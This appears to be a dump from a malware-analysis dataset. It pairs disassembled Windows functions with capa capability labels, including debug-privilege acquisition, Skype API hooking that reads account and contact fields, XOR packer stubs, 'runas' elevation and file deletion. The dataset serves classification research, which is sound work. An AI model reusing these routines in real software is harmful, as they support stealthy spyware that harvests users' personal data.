joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402fb4
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x403578
call fcn.00403278
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x403014
cmp eax, 0xffffffff
je 0x403014
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x40300d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x40300d
cmp edx, 0x10000000
jae 0x40300d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x40300a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x403080
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4030be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4030b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4030c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4030a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x403190
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x4031c1
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4031c1
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x4031c1
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x408d16
Capabilities:
Get system information on windows

Disassembly:
push ebp
lea ebp, [esp - 0x64]
sub esp, 0xc0
push ebx
push esi
push edi
push 0x24
lea eax, [ebp + 0x40]
push 0
push eax
call fcn.00421c60
mov esi, 0x9c
push esi
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.00421c60
add esp, 0x18
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x408d65
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x5c], 0x94
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.GetNativeSystemInfo
mov ebx, str.kernel32.dll
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
test eax, eax
je 0x408d8d
lea ecx, [ebp + 0x40]
push ecx
call eax
jmp 0x408d97
lea eax, [ebp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push str.GetProductInfo
push ebx
call esi
push eax
call edi
cmp dword [ebp - 0x4c], 2
pop edi
pop esi
pop ebx
je 0x408daf
xor al, al
jmp 0x408df1
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp + 0x70]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*2]
mov ecx, dword [ebp + 0x6c]
mov dword [ecx], eax
mov al, 1
cmp byte [ebp + 0x3e], al
setne cl
mov byte [edx], cl
movzx ecx, word [ebp + 0x38]
mov edx, dword [ebp + 0x74]
mov dword [edx], ecx
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp + 0x7c]
and ecx, 0xffff
cmp word [ebp + 0x40], 0
mov dword [edx], ecx
mov edx, dword [ebp + 0x78]
sete cl
mov byte [edx], cl
add ebp, 0x64
leave
ret

Function at 0x408f75
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push esi
xor ebx, ebx
push 0x7d0
mov byte [0x457aa0], bl
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [0x457aa8], eax
push 0x32
lea eax, [ebp - 0x204]
push eax
push 0x42fbd8
mov byte [0x457aa0], 1
call fcn.00413410
add esp, 0xc
push eax
push 0x4578a0
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp + 8]
mov word [0x457890], 2
call fcn.004138bc
add esp, 0x10
push 0x50
mov dword [0x457894], eax
call dword [0x458cdc]
mov word [0x457892], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [ebp + 0x10]
cmp esi, 1
mov dword [0x457aa4], eax
jl 0x409017
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push 0x408f07
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
dec esi
jne 0x409001
pop esi
pop ebx
leave
ret

Function at 0x409201
Capabilities:
Set file attributes

Disassembly:
push 0x80
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call fcn.00413a97
test eax, eax
pop ecx
je 0x409263
push edi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409262
push esi
push 1
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
je 0x40925a
push esi
push 0x4091e1
push 0xe
push edi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
pop edi
ret
Function at 0x414787
Capabilities:
Acquire debug privileges
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1114
call fcn.00421df0
push 1
push str.SeDebugPrivilege
mov byte [ebp - 1], 0
call fcn.00413d4d
test eax, eax
pop ecx
pop ecx
je 0x4147c4
lea eax, [ebp - 0xc]
push eax
push 0x1000
lea eax, [ebp - 0x1114]
push eax
call dword [0x458c04]
test eax, eax
jne 0x4147c8
xor eax, eax
leave
ret
mov eax, dword [ebp - 0xc]
shr eax, 2
je 0x41487d
push esi
push edi
lea esi, [ebp - 0x1114]
mov dword [ebp - 8], eax
push str.unknown
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [esi]
push 0
push 0x411
call dword [0x458b44]
mov edi, eax
test edi, edi
je 0x41485e
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push edi
call dword [0x458c5c]
test eax, eax
je 0x414855
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x10]
push edi
call dword [0x458adc]
push dword [ebp + 8]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x414855
push eax
push edi
call dword [0x458b84]
test eax, eax
je 0x414855
mov byte [ebp - 1], 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41486f
cmp dword [esi], 0
jbe 0x41486f
push esi
push 0x405fd0
call dword [sym.imp.USER32.dll_EnumWindows]
add esi, 4
dec dword [ebp - 8]
jne 0x4147df
pop edi
pop esi
movzx eax, byte [ebp - 1]
leave
ret
Function at 0x41bdf3
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
je 0x41be87
push ebx
push edi
push esi
call fcn.00410bf4
pop ecx
mov ebx, eax
push ebx
push esi
push 0
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x42a3b0
push ebx
call sub.VERSION.dll_VerQueryValueA
mov eax, dword [ebp - 4]
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
push ebx
call fcn.00410c3b
push esi
push str.Higher:__x_n
call fcn.00422b3d
push edi
push str.Lower:__x_n
call fcn.00422b3d
mov ecx, dword [ebp + 0xc]
mov eax, esi
shr eax, 0x10
mov dword [ecx], eax
mov ecx, dword [ebp + 0x10]
movzx eax, si
mov dword [ecx], eax
mov ecx, dword [ebp + 0x14]
mov eax, edi
shr eax, 0x10
mov dword [ecx], eax
mov ecx, dword [ebp + 0x18]
movzx eax, di
add esp, 0x14
mov dword [ecx], eax
xor eax, eax
pop edi
inc eax
pop ebx
pop esi
leave
ret
Function at 0x41e79a
Capabilities:
Get geographical location

Disassembly:
push edi
mov edi, dword [esp + 8]
push 0x42a440
push edi
call fcn.00421f60
test eax, eax
pop ecx
pop ecx
je 0x41e94b
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push str.PSTN_BALANCE
push edi
mov byte [eax], 0
lea ebx, [eax + 1]
call esi
test eax, eax
je 0x41e943
push str.FULLNAME
push edi
call esi
test eax, eax
jne 0x41e7ef
push ebx
push 0x45b204
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x41e943
push str.BIRTHDAY
push edi
call esi
test eax, eax
je 0x41e943
push 0x42b22c
push edi
call esi
test eax, eax
jne 0x41e833
mov bl, byte [ebx]
cmp bl, 0x4d
jne 0x41e81e
mov byte [0x45b30d], 1
jmp 0x41e943
cmp bl, 0x46
jne 0x41e943
mov byte [0x45b30d], 2
jmp 0x41e943
push str.COUNTRY
push edi
call esi
test eax, eax
jne 0x41e84c
push 3
push ebx
push 0x45b311
jmp 0x41e923
push str.IPCOUNTRY
push edi
call esi
test eax, eax
jne 0x41e87f
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 3
push ebx
mov esi, 0x45b314
push esi
call edi
push esi
call fcn.0041f504
pop ecx
push 2
push esi
push 0x459461
call edi
jmp 0x41e943
push str.CITY
push edi
call esi
test eax, eax
jne 0x41e898
push 0x20
push ebx
push 0x45b337
jmp 0x41e923
push str.PHONE_HOME
push edi
call esi
test eax, eax
jne 0x41e8ae
push 0x10
push ebx
push 0x45b357
jmp 0x41e923
push str.PHONE_OFFICE
push edi
call esi
test eax, eax
jne 0x41e8c4
push 0x10
push ebx
push 0x45b367
jmp 0x41e923
push str.PHONE_MOBILE
push edi
call esi
test eax, eax
jne 0x41e8da
push 0x10
push ebx
push 0x45b377
jmp 0x41e923
push str.HOMEPAGE
push edi
call esi
test eax, eax
jne 0x41e8f3
push 0x100
push ebx
push 0x45b387
jmp 0x41e923
push str.ABOUT
push edi
call esi
test eax, eax
jne 0x41e90c
push 0x100
push ebx
push 0x45b487
jmp 0x41e923
push str.MOOD_TEXT
push edi
call esi
test eax, eax
jne 0x41e92b
push 0x100
push ebx
push 0x45b587
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
jmp 0x41e943
push str.TIMEZONE
push edi
call esi
test eax, eax
jne 0x41e949
push ebx
call fcn.0042203e
pop ecx
mov dword [0x45b688], eax
inc dword [0x45b90c]
pop esi
pop ebx
pop edi
ret
Function at 0x41f298
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_RegisterWindowMessageA]
push edi
push 0x3f
pop ecx
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x100], bl
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.SkypeControlAPIAttach
mov byte [0x449320], 1
mov byte [0x45b038], 1
stosb byte es:[edi], al
call esi
push str.SkypeControlAPIDiscover
mov dword [0x45b0e4], eax
call esi
mov dword [0x45b0e8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push ebx
push 0x40
call dword [0x458b44]
cmp dword [0x45b0e4], ebx
mov dword [0x45b058], eax
je 0x41f3dd
cmp dword [0x45b0e8], ebx
je 0x41f3dd
push ebx
push ebx
push ebx
push 0x41f114
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x41f331
push 0xa
call esi
cmp dword [0x45b054], ebx
je 0x41f32d
push ebx
push 0x3e8
push ebx
push ebx
push dword [0x45b054]
push dword [0x45b0e8]
push 0xffff
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
xor edi, edi
jmp 0x41f366
cmp edi, 0x64
jge 0x41f39e
push 0xa
inc edi
call esi
cmp dword [0x45b0ec], ebx
je 0x41f35c
jmp 0x41f39e
lea eax, [ebp - 0x100]
push eax
push dword [0x45a348]
call fcn.004141e6
test eax, eax
pop ecx
pop ecx
jne 0x41f38f
push ebx
call fcn.0040c674
pop ecx
push ebx
call fcn.00414776
mov dword [esp], 0x2710
call esi
cmp byte [0x463918], bl
jne 0x41f370
push dword [0x45b058]
push 0x45b060
call dword [sym.imp.USER32.dll_UnregisterClassA]
push dword [0x45b058]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x45b054]
cmp eax, ebx
mov dword [0x45b058], ebx
je 0x41f3dd
push ebx
push ebx
push 0x12
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
lea eax, [ebp - 0x100]
push eax
push dword [0x45a348]
call fcn.004141e6
test eax, eax
pop ecx
pop ecx
jne 0x41f3fc
push ebx
call fcn.0040c674
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0x38810517
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x7bb30bf4
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..idata
mov ebx, 0x40915c
nop
nop
mov ecx, 0x6a817953
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x4b9665b4
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401000
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push edi
push 0x103
lea eax, [ebp - 0x117]
push 0
push eax
mov byte [ebp - 0x118], 0
call sub.ntdll.dll_memset
xor eax, eax
mov byte [ebp - 0x14], 0
lea edi, [ebp - 0x13]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 0xc
push 0x1c
stosb byte es:[edi], al
pop eax
mov dword [ebp - 4], 1
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x401059
push 0x7f
push 0x1b
mov edx, str.Z0_Z_Z12:__09___0_:__0__Z
call fcn.00402d34
push 0x104
lea ecx, [ebp - 0x118]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x4010e2
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401079
lea ecx, [ebp - 0x14]
sub eax, edx
push ecx
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.00401c4f
test eax, eax
je 0x4010e2
xor al, al
lea edi, [ebp - 0x118]
mov ecx, 0x104
rep stosb byte es:[edi], al
lea eax, [ebp - 0x118]
lea edi, [ebp - 0x14]
call fcn.00401d26
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x4010e2
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov word [0x42b17c], ax
test ax, ax
je 0x4010e2
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x11c]
pop edi
leave
ret

Function at 0x4010ee
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
mov esi, 0x103
xor ebx, ebx
push esi
lea eax, [ebp - 0x103]
push ebx
push eax
mov byte [ebp - 0x104], bl
call sub.ntdll.dll_memset
push esi
lea eax, [ebp - 0x207]
push ebx
push eax
mov byte [ebp - 0x208], bl
call sub.ntdll.dll_memset
add esp, 0x18
inc esi
push esi
lea eax, [ebp - 0x208]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
push ebx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
cmp eax, ebx
je 0x401151
mov byte [eax], bl
lea eax, [ebp - 0x104]
push eax
push ebx
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x4011cd
lea eax, [ebp - 0x208]
push eax
lea ebx, [ebp - 0x104]
jmp section..htext
pop esi
pop ebx
leave
ret

Function at 0x40137b
Capabilities:
Check os version
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push 0x11c
lea eax, [ebp - 0x158]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x158]
push eax
mov dword [ebp - 0x158], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40140d
cmp dword [ebp - 0x154], 6
jb 0x40140d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.00402065
cmp eax, 0x2000
jae 0x40140d
call fcn.00401880
test eax, eax
jne 0x40140d
push 6
push eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x40140d
lea eax, [ebp - 0x3c]
call fcn.00401ac4
test eax, eax
je 0x4013ff
lea edi, [ebp - 0x3c]
call fcn.00401bfc
test eax, eax
je 0x4013f3
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
leave
ret
Function at 0x401ac4
Capabilities:
Accept command line arguments
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push ebx
push esi
push edi
xor ebx, ebx
push 0x3c
mov esi, eax
push ebx
push esi
mov dword [ebp - 4], ebx
call sub.ntdll.dll_memset
add esp, 0xc
mov edi, 0x104
push edi
lea eax, [ebp - 0x424]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x401bf4
push edi
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameW]
test eax, eax
je 0x401bf4
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.00401a4f
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x401b3e
mov dword [ebp - 8], 0x404604
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x618
push 8
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebx
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401bf4
push dword [ebp - 8]
lea ecx, [ebp - 0x424]
push ecx
push 0x404608
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x20a
push 8
call edi
push eax
call ebx
mov ebx, eax
xor eax, eax
cmp ebx, eax
je 0x401bd8
push ebx
push eax
push eax
push 0x25
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x401bd8
push 0x404634
push ebx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
je 0x401bd8
mov eax, dword [ebp - 0xc]
and dword [esi + 0x1c], 0
mov dword [ebp - 4], 1
mov dword [esi], 0x3c
mov dword [esi + 0xc], str.runas
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], eax
mov dword [esi + 4], 0x40
jmp 0x401bf4
push dword [ebp - 0xc]
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
test ebx, ebx
je 0x401bf4
push ebx
push 0
call edi
push eax
call esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401bfc
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor ebx, ebx
jmp 0x401c20
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
jne 0x401c27
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call esi
test eax, eax
je 0x401c08
push 0xffffffffffffffff
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi + 0x38]
test eax, eax
je 0x401c41
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401c4a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
inc ebx
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x401c4f
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor esi, esi
push 4
xor ebx, ebx
pop edi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], edi
cmp dword [ebp + 8], esi
je 0x401d1d
cmp dword [ebp + 0xc], esi
je 0x401d1d
cmp dword [ebp + 0x10], esi
je 0x401d1d
push 0xf0000020
push 1
push esi
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x401d00
cmp dword [ebp - 8], esi
je 0x401d00
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x8003
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x401d00
cmp dword [ebp - 4], esi
je 0x401d0e
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x401d00
push esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
call edi
test eax, eax
je 0x401d00
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
push 2
push dword [ebp - 4]
call edi
test eax, eax
je 0x401d00
inc ebx
cmp dword [ebp - 4], esi
je 0x401d0e
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 8], esi
je 0x401d1d
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 0xc
Function at 0x40219c
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
xor esi, esi
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x402221
push 0x80000000
push dword [ebp + 8]
call fcn.00402143
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x402221
push edi
xor eax, eax
mov dword [ebp - 0x10], ebx
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], esi
cmp esi, ebx
je 0x402215
call fcn.00402e4e
mov edi, eax
mov dword [ebp - 4], edi
cmp edi, ebx
je 0x402215
push ebx
lea eax, [ebp - 8]
push eax
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
jne 0x402215
mov esi, edi
call fcn.00402e9d
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call fcn.00401e1d
mov esi, dword [ebp - 0xc]
pop edi
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x40222a
mov dword [eax], esi
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret 8

Function at 0x402292
Capabilities:
Delete file
Set file attributes

Disassembly:
xor eax, eax
test edi, edi
je 0x4022b2
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call esi
test eax, eax
jne 0x4022b1
push edi
call esi
pop esi
ret